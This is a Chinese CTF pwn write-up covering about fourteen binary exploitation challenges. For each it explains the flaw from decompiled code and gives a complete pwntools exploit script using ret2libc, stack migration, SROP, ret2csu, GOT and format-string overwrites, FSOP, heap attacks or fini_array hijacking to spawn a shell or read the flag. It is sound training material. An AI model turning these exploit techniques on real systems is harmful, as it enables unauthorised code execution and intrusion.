《从零开始的pwner生活》

Static Lv2

题目均来自协会arttnba3师傅的帖子《从零开始的pwner生活》,由于本人水平有限,思路如有欠妥,欢迎指正。

task01

0x01.ciscn_2019_s_4 (ret2text + stack_migration)

checksec发现只开了NX和partial relro

ida打开,看到vul函数

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

而且有一个hack函数,不能得到flag,但是有system函数

1
2
3
4
int hack()
{
return system("echo flag");
}

程序会readprintf先后两次

而每次读取都是0x30,最多只能溢出到返回地址。

这种情况一般要用到栈迁移。

那么很明显只要泄露出栈地址,然后利用leave_ret进行栈迁移就可以gets hell了。

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import*
context.log_level='debug'

io = remote('node4.buuoj.cn',28888)
#io = process('./ciscn_s_4')
elf = ELF('./ciscn_s_4')

sys = 0x804854B
offset = 0x28 + 4
#泄露出栈地址,然后进行栈迁移
payload1 = b'A'*(offset-4)
io.recvuntil(b'Welcome')
io.send(payload1)
io.recvuntil(b'A'*(offset-4))
ebp = u32(io.recv(4))
print("ebp:"+hex(ebp))

sys = elf.plt['system']
leave_ret = 0x80484b8
payload2 = p32(sys) + b'AAAA' + p32(ebp-0x38+0xc) + b'/bin/sh\x00' + b'A'*(offset-0x14-4) + p32(ebp-0x38-4) + p32(leave_ret)
io.send(payload2)

io.interactive()

0x02.MSSCTF2020 - Wallet( got hijack )

checksec看到开了NX,partial relro和canary

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-10h] [ebp-20h]
int v5; // [esp-Ch] [ebp-1Ch]
int v6[2]; // [esp+0h] [ebp-10h] BYREF
int *p_argc; // [esp+8h] [ebp-8h]

p_argc = &argc;
v6[1] = __readgsdword(0x14u);
setbufs();
puts("Wal1et prepares a big wallet for you, but clever man always has double passwords. So make your choice.");
puts("1.JUST OPEN IT!");
puts("2.EXIT");
__isoc99_scanf("%d", v6, v4, v5);
if ( v6[0] == 1 )
{
begin(p_argc);
check();
puts("Here is something you like.");
}
return 0;
}

看到就是一个选择界面,主要在begincheck函数里面

begin函数

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned int begin()
{
int v1; // [esp-8h] [ebp-80h]
int v2; // [esp-4h] [ebp-7Ch]
char v3[108]; // [esp+0h] [ebp-78h] BYREF
unsigned int v4; // [esp+6Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
printf("Show me your name : ");
__isoc99_scanf("%108s", v3, v1, v2);
printf("Welcome %s! :P\n", v3);
return __readgsdword(0x14u) ^ v4;
}

输入name,不存在溢出

check函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int check()
{
int v1; // [esp-8h] [ebp-20h]
int v2; // [esp-8h] [ebp-20h]
int v3; // [esp-4h] [ebp-1Ch]
int v4; // [esp-4h] [ebp-1Ch]
int v5; // [esp+8h] [ebp-10h]
int v6; // [esp+Ch] [ebp-Ch]

printf("Now try the First password : ");
__isoc99_scanf("%d", v5, v1, v3);
fflush(stdin);
printf("Now try the Second password : ");
__isoc99_scanf("%d", v6, v2, v4);
puts("Let me think......");
if ( v5 != 338150 || v6 != 13371337 )
{
puts("You Failed! Try again.");
exit(0);
}
puts("OMG!YOU SUCCESS!");
return system("/bin/cat flag");
}

很明显让v5==338150并且v6==13371337就可以得到flag

但是scanf函数是对v5和v6所指向的地址进行写入

而不是改变v5和v6的值,在check函数中,我们并没有发现对v5和v6值的修改。

但是从ida中可以看到call begin之后直接就是call check,因此check函数里面的v5和v6可以由begin中的输入控制,仔细观察发现只能控制v5的值,v6值对应栈区域是canary的位置。那么就不能直接通过判断获得flag,但是我们可以控制v5的值为got表位置,从而利用scanf读入修改scanf的got表为system("/bin/cat flag"),下一次call scanf的时候就可以cat flag

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
context.log_level = 'debug'

io = process('./Wal1et')

#修改scanf got表为system("/bin/cat flag")地址
#attach(io)
io.sendline(b'1')
io.sendline(b'A'*104 + p32(0x804a02c))
io.sendline(b'134514480')

io.interactive()

0x03.moeCTF2021 - baby canary( canary leak + ret2libc )

checksec看到开启了Full relro , NX , canary

ida打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned int func()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
unsigned int v2; // [esp+4Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(s, 0, sizeof(s));
puts("So can you tell me who you are?");
read(0, s, 0x100u);
printf("Wow.. %s is a good name...", s);
puts("\nSo what you come there for?");
fflush(stdout);
read(0, s, 0x100u);
puts("That's good...But you need to escape from the canary before you get the flag!");
fflush(stdout);
return v2 - __readgsdword(0x14u);
}

看到有两次输入,中间有一次输出

第一次输入覆盖canary\x00位置,在打印时可打印出canary,第二次输入还原canary然后ret2libc即可

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from LibcSearcher import*
from pwn import*
context.log_level = 'debug'

io = process('./baby_canary')
elf = ELF('./baby_canary')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

#canary泄露,之后ret2libc即可
offset = 0x40
payload1 = b'A'*offset + b'A'
io.recvuntil(b'who you are?')
io.send(payload1)

io.recvuntil(payload1)
canary = u32(io.recv(3).rjust(4,b'\x00'))
print('canary ===> '+hex(canary))

#attach(io)
#pause()

io.recvuntil(b'come there for?')
payload2 = b'A'*offset + p32(canary) + b'A'*12 + p32(puts_plt) + p32(0x8049238) + p32(puts_got)
io.send(payload2)

io.recvuntil(b'get the flag!\n')
puts = u32(io.recv(4))
print('puts ===> '+hex(puts))

libc = LibcSearcher('puts',puts)
libcbase = puts - libc.dump('puts')
sys = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')

payload3 = b'A'*offset + p32(canary) + b'A'*12 + p32(sys) + b'AAAA' + p32(bin_sh)
io.send(payload3)
io.send(payload3)

io.interactive()

task02

0x01.ciscn_2019_c_1( ret2libc )

checksec看到程序为64位,开启了 partial relro 和 NX

程序是一个加密机,只有encrypt,没有decrypt,进入encrypt函数中

可以看到直接用gets函数来读取字符串,但是在函数返回之前会被修改,因此需要绕过修改,strlen是通过\x00判断是否到达字符串结尾的,直接在字符串开始位置写入\x00就可以使长度判断为0,从而绕过加密,直接构造栈。

先用puts函数泄露出libc地址,然后ret2libc直接getshell

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'

#io = remote('node4.buuoj.cn',25055)
io = process('ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')

encrypt = 0x4009a0
offset = 0x50+8
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400c83
ret = 0x4006b9

#\x00绕过加密,ret2libc得到shell
io.recvuntil(b'choice!\n')
io.sendline(b'1')
io.recvuntil(b'encrypted\n')
payload = b'\x00' + b'A'*(offset-1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(encrypt)
io.sendline(payload)
io.recvuntil('Ciphertext\n\n')

puts = u64(io.recv(6).ljust(8,b'\x00'))
print('puts ===> '+hex(puts))
libc = LibcSearcher('puts', puts)
libcbase = puts - libc.dump('puts')
sys = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')

io.recvuntil(b'encrypted\n')
payload = b'\x00' + b'A'*(offset-1) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys)
io.send(payload)

io.interactive()

0x02.ciscn_2019_s_3( ret2csu | SROP )

checksec看到只开启了 NX 和 partial relro

sys_read超大溢出,gadgets里面有系统调用号15rt_sigreturn,对应系统调用,而且在后面还能看到59号系统调用execve

因此就会有两种思路,一种是SROP,另一种是ret2csu

思路一:SROP

看汇编可以发现其实vuln函数没有一般函数应该有的 leave 操作,因此覆盖0x10个字节就够了

具体过程是先利用write泄露出栈中的已有数据来定位栈地址,并在栈中写入/bin/sh,覆盖返回地址为vuln函数,第二次直接用pwntools自带的SigreturnFrame控制寄存器为要getshell的布局,然后rop先到mov rax, 0f , 再syscall,后面加上SigreturnFrame

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*

#io = remote("node4.buuoj.cn",26290)
io = process('./ciscn_s_3')
elf = ELF('./ciscn_s_3')
context(os='linux', arch='amd64', log_level='debug')

#attach(io)
#pause()

vuln = 0x4004ed
payload1 = b'/bin/sh\x00'*2 + p64(vuln)
io.send(payload1)

io.recv(0x20)
leak_stack = u64(io.recv(8))
print("leak_stack ===> "+hex(leak_stack))
bin_sh = leak_stack - 0x148

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = 0x400517

sigreturn = 0x4004da
syscall = 0x400517
payload2 = b'/bin/sh\x00'*2 +p64(sigreturn) + p64(syscall) + bytes(frame)
io.send(payload2)

io.interactive()

思路二:ret2csu

利用mov rax, 3b retsyscall,再结合__libc_csu_init里面的gadgets进行rop

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

#io = remote("node4.buuoj.cn",25834)
io = process('./ciscn_s_3')
elf = ELF('./ciscn_s_3')
context(os='linux',arch='amd64',log_level='debug')

offset = 0x10
csu_gadget1 = 0x400596
csu_gadget2 = 0x400580
vuln = 0x4004ed
syscall = 0x400517
execve = 0x4004e2
pop_rdi = 0x4005a3
ret = 0x4003a9

#attach(io)
#pause()
def csu_payload(rdi, rsi, rdx, r12, ret_addr):
payload = b'/bin/sh\x00' + p64(execve)
payload += p64(csu_gadget1)
payload += b'A'*8 #add esp, 8
payload += p64(0) + p64(1) + p64(r12) + p64(rdx) + p64(rsi) + p64(rdi) #rdx rbp r12 r13 r14 r15
payload += p64(csu_gadget2)
payload += b'A'*56
payload += p64(ret_addr)
return payload

payload1 = b'/bin/sh\x00'*2 + p64(vuln)
io.send(payload1)
io.recv(0x20)
leak_stack = u64(io.recv(8))
bin_sh = leak_stack - 0x148
print("bin_sh ===> "+hex(bin_sh))

payload2 = csu_payload(bin_sh,0,0,bin_sh+8,execve)
io.send(payload2 + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(syscall))

io.interactive()

0x03.[BJDCTF 2nd]r2t4( got hijack )

checksec看到开了NX和canary,partial relro

只有格式化字符串,那就是修改got表,printf后面要执行的函数就只有一个__stack_chk_fail函数,修改该函数got表为backdoor地址即可

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#io = remote('node4.buuoj.cn',26759)
io = process('./r2t4')
elf = ELF('./r2t4')
context(log_level='debug')

attach(io)
pause()
backdoor = 0x400626
offset = 6
payload = b'%6c%10$hhn%32c%11$hhn%26c%12$hhn' + p64(0x601019) + p64(0x601018) + p64(0x60101a)
payload = payload.ljust(100,b'A')
io.send(payload)

io.interactive()

task03

0x01.ciscn_2019_n_7( exit_hook劫持 | FSOP)

思路一:exit_hook劫持

checksec看到保护全开

看起来好像是个堆题,但是没有对于堆漏洞的利用

输入666可以泄露出libc地址

程序首先会分配0x18大小的内存,在所分配内存的前8个字节存储string_length,后0x10字节为string,但是最后8个字节会在edit时产生任意地址写漏洞,可以利用one_gadget,因为我们无法主动执行mallocfree函数,因此劫持exit_hook

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

#exit_hook劫持

io = remote('node4.buuoj.cn',29322)
#io = process('./ciscn_2019_n_7')
elf = ELF('./ciscn_2019_n_7')
libc = ELF('./libc-2.23.so')

def choose(choice):
io.recvuntil(b'Your choice-> \n')
io.sendline(str(choice))

#attach(io)
#pause()
choose(666)
io.recvuntil(b'0x')
puts = int(io.recv(12),16)
print('puts ===> '+hex(puts))

libcbase = puts - libc.symbols['puts']
print('libcbase ===> '+hex(libcbase))

one_gadget = libcbase + 0xf1147
exit_hook = libcbase + 0x5f0040 + 3848
print('exit_hook ===> '+hex(exit_hook))
log.success('one_gadget ===> '+hex(one_gadget))

choose(1)
io.recvuntil(b'Length: \n')
io.sendline(str(48))
io.recvuntil(b'name:\n')
io.send(b'A'*8+p64(exit_hook))

choose(2)
io.recvuntil(b'name:\n')
io.send(b'A'*8)
io.recvuntil(b'contents:\n')
io.send(p64(one_gadget)*2)

io.sendline(b'a')

io.interactive()

思路二:FSOP

一个古老的技巧,只适用于libc-2.23及之前版本,libc-2.24下也可以使用,但需要使用house of orange(一种结合_IO_FILE的组合利用方式)

本题可以直接任意地址写,输入666泄露出libc基址后直接修改io_stderr结构体中的内容,然后正常退出即可(不要输入4退出,否则不会得到shell)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

io = process('./ciscn_2019_n_7')
elf = ELF('./ciscn_2019_n_7')
libc = ELF('./libc-2.23.so')

def DEBUG():
attach(io)
pause()

def choose(choice):
io.recvuntil(b'Your choice-> \n')
io.sendline(str(choice))

choose(666)
io.recvuntil(b'0x')
puts = int(io.recv(12),16)
print('puts ===> '+hex(puts))

libcbase = puts - libc.symbols['puts']
print('libcbase ===> '+hex(libcbase))
_IO_list_all = libcbase + libc.symbols['_IO_list_all']
print('_IO_list_all ===> '+hex(_IO_list_all))
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

io.recvuntil(b'Your choice-> \n')
io.sendline(b'1')
io.recvuntil(b'Input string Length: \n')
io.sendline(str(0x100).encode())
io.recvuntil(b'Author name:')
io.send(b'Static')

#修改io_stderr
io_stderr = _IO_list_all+0x20
io.recvuntil(b'Your choice-> \n')
io.sendline(b'2')
io.recvuntil(b'New Author name:\n')
io.send(b'A'*0x8+p64(io_stderr))
io.recvuntil(b'New contents:')
fake_io = b'/bin/sh\x00'+p64(0)*4+p64(libcbase+libc.symbols['system'])
fake_io = fake_io.ljust(0xd8,b'\x00')+p64(io_stderr+0x10)
io.send(fake_io)

io.sendline(b'5')

io.interactive()

关于FSOP,在libc-2.23下由于对vtable没有任何检查,导致可以通过伪造而调用自己想要调用的函数,具体调用方式为exit()函数中的_IO_flush_all_lockp ()函数,其会刷新_IO_list_all链表中的所有文件流,并且会调用_IO_OVERFLOW函数指针,函数调用具体逻辑为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int
_IO_flush_all_lockp (int do_lock)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
...

由于_IO_FILE结构体中的vtable指针可以被修改,因此可以指向任意我们伪造好的位置。修改好后,只需要满足fp->mode <= 0 && fo->_IO_write_ptr > fp->_IO_write_base即可进行调用,且调试发现该函数参数为结构体的第一个元素值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*RAX  0x7f671d85e550 (_IO_2_1_stderr_+16) ◂— 0x0
*RBX 0x7f671d85e540 (_IO_2_1_stderr_) ◂— 'LookHere'
*RCX 0x7f671d85ec30 ◂— 0x0
*RDX 0x0
*RDI 0x7f671d85e540 (_IO_2_1_stderr_) ◂— 'LookHere'
*RSI 0xffffffff
*R8 0x4
*R9 0x0
*R10 0x7fff63e6a548 —▸ 0x7f671da899d8 (_rtld_global+2456) —▸ 0x7f671d863000 ◂— jg 0x7f671d863047
*R11 0x3
*R12 0x7f671da86700 ◂— 0x7f671da86700
*R13 0x0
R14 0x0
*R15 0x2
*RBP 0x0
*RSP 0x7fff63e6a568 —▸ 0x7f671d515196 ◂— cmp eax, -1
*RIP 0x7f671d4de390 (system) ◂— test rdi, rdi

0x02.[V&N2020 公开赛]warmup( orw )

checksec看到除了canary,其他都开了

seccomp-tools看到禁用了execve

程序的缓冲区恰好接上,直接写payload就行

在libc的bss段上写入/bin/shflag字符串,直接得到flag

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(log_level='debug')

#得到libc地址后直接在libc的bss段上进行写,实现orw

io = remote('node4.buuoj.cn',29676)
#io = process('./vn_pwn_warmup')
elf = ELF('./vn_pwn_warmup')
libc = ELF('./libc-2.23.so')

io.recvuntil(b'gift: 0x')
puts = int(io.recv(12), 16)
log.success('puts ===> '+hex(puts))

libcbase = puts - libc.symbols['puts']
log.success('libcbase ===> '+hex(puts))

pop_rdi = libcbase + 0x21102
pop_rsi = libcbase + 0x202e8
pop_rdx = libcbase + 0x1b92
open_ = libcbase + libc.symbols['open']
read_ = libcbase + libc.symbols['read']
libc_buf = libcbase + 0x3c5000

#attach(io)
#pause()

io.recvuntil(b'Input something: ')
payload1 = p64(0) + p64(pop_rsi) + p64(libc_buf) + p64(pop_rdx) + p64(0x50) + p64(read_) \
+ p64(pop_rdi) + p64(libc_buf) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(open_) \
+ p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(libc_buf) + p64(pop_rdx) + p64(0x30) + p64(read_) \
+ p64(pop_rdi) + p64(libc_buf) + p64(puts)
io.send(payload1)

io.recvuntil(b'name?')
payload2 = b'A'*0x78 + p64(pop_rdi)
io.send(payload2)

io.send(b'flag')

io.interactive()

0x03.minilCTF2020 - easycpp( cpp )

checksec看到只开了NX,partial relro,32位

这c++光看着就没有想法了,没系统学,就简单看了看

主函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
B *v3; // ebx

setvbuf(stdout, 0, 2, 0);
v3 = (B *)operator new(4u);
v3->_vptr_A = 0;
B::B(v3);
operator delete(v3);
fgets(buf, 1024, stdin);
strdup(buf);
(*v3->_vptr_A)(v3);
return 0;
}

程序最后的函数调用格外显眼

strdup是会拷贝字符串到分配的内存,而v3对应内存刚好释放,直接写地址就行,程序会直接执行v3所存的地址指向的地址上的代码

gdb调试很容易明白此时的调用逻辑

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python3
from pwn import *

#程序会调用二级函数指针,直接动调解决

io = process('./easycpp')

#attach(io)
#pause()
payload = p32(0x804a0c4) + p32(0x80487bb)
io.sendline(payload)

io.interactive()

task04

0x01.[ZJCTF 2019]Login ( ret2text )

checksec看到NX,canary,partial relro

又是一个c++题,程序会有两次输入,一次是username,一次是password,在最后的password_checker函数里面可以看到函数指针

password_checker函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(
void (***a1)(void),
const char *a2,
const char *a3)
{
char s[88]; // [rsp+20h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+78h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( !strcmp(a2, a3) )
{
snprintf(s, 0x50uLL, "Password accepted: %s\n", s);
puts(s);
(**a1)();
}
else
{
puts("Nope!");
}
return __readfsqword(0x28u) ^ v5;
}

我们首先要通过密码比较,如果不能理解这个函数指针,可以gdb调试,输入一些地址试一试。在输入的过程中,注意要8字节对齐。

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
from pwn import *
context(log_level='debug')

#io = remote('node4.buuoj.cn',29115)
io = process('./login')

#attach(io)
#pause()
io.recvuntil(b'username: ')
io.sendline(b'A'*8)
io.recvuntil(b'password: ')
io.sendline(b'2jctf_pa5sw0rd\x00A'+p64(0x400e88)*8)

io.interactive()

0x02.pwnable.tw - dubblesort( ret2libc )

checksec,保护全开

程序主要逻辑为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__printf_chk(1, "What your name :");
read(0, buf, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &v8);
v3 = v8;
if ( v8 )
{
v4 = v9;
for ( i = 0; i < v8; ++i )
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
v3 = v8;
v4 += 4;
}
}
sub_931(v9, v3);
puts("Result :");
if ( v8 )
{
for ( j = 0; j < v8; ++j )
__printf_chk(1, "%u ");
}

我们会先输入name,这个过程可以泄露出栈中数据,栈中会有和libcbase相关的数据,然后输入要排序的数的个数,sub_931是一个排序的函数,v4每次都要加4,但没有增加的边界,因此会产生溢出,我们可以绕过canary来覆盖返回地址,实现ret2libc

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

#先利用栈中已有数据泄露libc,然后利用scanf多次读入数据修改返回地址

#io = remote('node4.buuoj.cn',25178)
io = process('./dubblesort')
elf = ELF('./dubblesort')
libc = elf.libc

#attach(io)
#pause()
io.recvuntil(b'name :')
io.send(b'A'*0x1c)

io.recvuntil(b'A'*0x1c)
libcbase = u32(io.recv(4))-0x184be
print('libcbase ===> '+hex(libcbase))

sys = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))

io.recvuntil(b'sort :')
io.sendline(b'35')
for i in range(24):
io.sendline(b'1')
io.sendline(b'+')
for i in range(8):
io.sendline(str(sys).encode())
for i in range(2):
io.sendline(str(bin_sh).encode())

io.interactive()

0x03.babyfengshui_33c3_2016( got hijack )

checksec看到开了NX,canary,partial relro

一个目录题,有增加、删除、打印、修改功能。

add功能里面可以看到对name的写入长度明显过长,产生溢出

在调试分析之后我们发现程序在add时会产生两个堆块,第一个存储description,第二个存储指向description的指针和name,因此我们要试图利用溢出来控制这个指针,控制后我们就可以泄露libc地址并且修改got表。(one_gadget似乎都无法满足条件)

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

#先根据description的大小规则分配释放构造得到指针的控制权,然后修改got表,获得shell

#io = remote('node4.buuoj.cn',26390)
io = process('./babyfengshui_33c3_2016')
libc = ELF('./libc-2.23.so')

def add_(descri_size, name, text_size, text):
io.recvuntil(b'Action: ')
io.sendline(b'0')
io.recvuntil(b'description: ')
io.sendline(str(descri_size).encode())
io.recvuntil(b'name: ')
io.sendline(name)
io.recvuntil(b'text length: ')
io.sendline(str(text_size).encode())
io.recvuntil(b'text: ')
io.sendline(text)

def delete_(index):
io.recvuntil(b'Action: ')
io.sendline(b'1')
io.recvuntil(b'index: ')
io.sendline(str(index).encode())

def display_(index):
io.recvuntil(b'Action: ')
io.sendline(b'2')
io.recvuntil(b'index: ')
io.sendline(str(index).encode())

def update_(index, text_size, text):
io.recvuntil(b'Action: ')
io.sendline(b'3')
io.recvuntil(b'index: ')
io.sendline(str(index).encode())
io.recvuntil(b'text length: ')
io.sendline(str(text_size).encode())
io.recvuntil(b'text: ')
io.sendline(text)

free_got = 0x804b010

add_(0x20, b'AAAA', 0x20, b'BBBB')
add_(0x20, b'AAAA', 0x20, b'BBBB')
delete_(0)
add_(0x80, b'AAAA', 0xd0, b'/bin/sh\x00'+b'A'*(0x80+0x28+8-8)+p32(free_got)) #index_2可以写入到index_1的name指向description的指针
display_(1)

io.recvuntil(b'description: ')
free = u32(io.recv(4))
print('free ===> '+hex(free))

libcbase = free - libc.symbols['free']
system = libcbase + libc.symbols['system']

update_(1, 4, p32(system))
delete_(2)

io.interactive()

task05

0x01.babyheap_0ctf_2017( heap_overflow + fastbin attack )

checksec看到保护全开

程序在fill时未检查填充大小,会产生溢出

可以先将堆块置于unsorted bin里面,由于从unsorted bin里面取出堆块时,不会检查大小,因此可以通过修改大小来造成堆块重叠,从而实现对libc地址的泄露,并且可以写入非法地址,并获取到对应地址进行任意写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

#先利用unsorted bin泄露libc,然后利用fastbin attack伪造fd实现对malloc_hook的写入

#io = remote('node4.buuoj.cn',28445)
io = process('./babyheap_0ctf_2017')
elf = ELF('./babyheap_0ctf_2017')
libc = ELF('./libc-2.23.so')

def menu_(num):
io.recvuntil(b'Command: ')
io.sendline(str(num).encode())

def alloc_(size):
menu_(1)
io.recvuntil(b'Size: ')
io.sendline(str(size).encode())

def fill_(index, size, content):
menu_(2)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())
io.recvuntil(b'Size: ')
io.sendline(str(size).encode())
io.recvuntil(b'Content: ')
io.send(content)

def free_(index):
menu_(3)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

def dump_(index):
menu_(4)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

alloc_(0xa0) #index0
alloc_(0xa0) #index1
alloc_(0x10) #index2, in order to prevent index1 to mix with top chunk.

free_(0)
alloc_(0x10) #index0
fill_(0, 0x20, b'A'*0x10+p64(0)+p64(0x101))
alloc_(0xa0) #index3
fill_(3, 0x90, b'A'*0x80+p64(0)+p64(0xb1))

#there are two pointers pointing to index1.(index3 and index1)
#we can free index1 firstly, and then we will get a addr close to libc.

free_(1)
dump_(3)

io.recvuntil(b'A'*0x80)
io.recv(0x18)
main_area = u64(io.recv(8))
print('main_area ===> '+hex(main_area))
libcbase = main_area - 0x3c4b78
print('libcbase ===> '+hex(libcbase))

malloc_hook = libcbase + libc.symbols['__malloc_hook']
sys = libcbase + libc.symbols['system']
print('malloc_hook ===> '+hex(malloc_hook))

for i in range(10):
alloc_(0x60) #1 4 5 6 7 8 9 10 11 12

one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
free_(10)
fill_(9, 0x78, b'A'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))

alloc_(0x60)
alloc_(0x60)
fill_(13,0x23-0x10+8,b'A'*0x13+p64(libcbase+one_gadget[1]))

alloc_(0x10)

io.interactive()

0x02.pwnable.tw - 3×17( fini_array劫持 )

checksec看到只开了NX,partial relro

该程序为静态编译程序,把所有要用到的库函数都编译进了这个程序,而且必定会有syscall

由于程序结束后会执行libc_csu_fini函数,该函数中会依次调用fini_array[1]fini_array[0],可以改写fini_array[0]libc_csu_fini函数的地址,fini_array[1]main函数地址。这样程序会不断进行调用。

main函数中可以看到要使byte_4B9330为1时才能进行地址改写,但实际上不需要理会这个条件,因为在循环的过程中,它会自行溢出为1。

由于libc_csu_fini函数中存在语句lea rbp, off_4B40F0,会导致rbp值为fini_array地址,通过改写fini_array+0x10数据为gadgets,然后修改fini_array[0]leave_retgadget进行栈迁移,即可getshell。

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

#先布置fini_array+0x10位置的数据,最后进行leave_ret栈迁移即可

#io = remote('node4.buuoj.cn',25099)
io = process('./3x17')
elf = ELF('./3x17')

pop_rdi = 0x401696
pop_rsi = 0x406c30
pop_rdx = 0x446e35
pop_rax = 0x41e4af
syscall = 0x446e2c
start = 0x401b6d
fini_array = 0x4b40f0
csu_fini = 0x402960
bss = 0x4b4100
leave_ret = 0x401c4b

def change(addr, data):
io.recvuntil(b'addr:')
io.send(str(addr).encode())
io.recvuntil(b'data:')
io.send(data)

#attach(io)
#pause()
change(fini_array, p64(csu_fini)+p64(start))
payload = [pop_rdi, 0, pop_rsi, bss-0x100, pop_rdx, 0x10, pop_rax, 0, syscall, \
pop_rdi, bss-0x100, pop_rsi, 0, pop_rdx, 0, pop_rax, 59, syscall]
for i in range(18):
change(bss+i*8,p64(payload[i]))

change(fini_array, p64(leave_ret)+p64(start)+p64(pop_rdi))
io.send(b'/bin/sh\x00')

io.interactive()

0x03.ciscn_2019_final_3( tcache poisoning + UAF )

checksec看到保护全开

一个c++堆题目,为了做这个题,我另外下了个ubuntu18。。。

没有show功能,以为要爆破stdout打出libc,看了wp才知道是劫持tcache_struct来实现分配到libc,进而泄露出libc

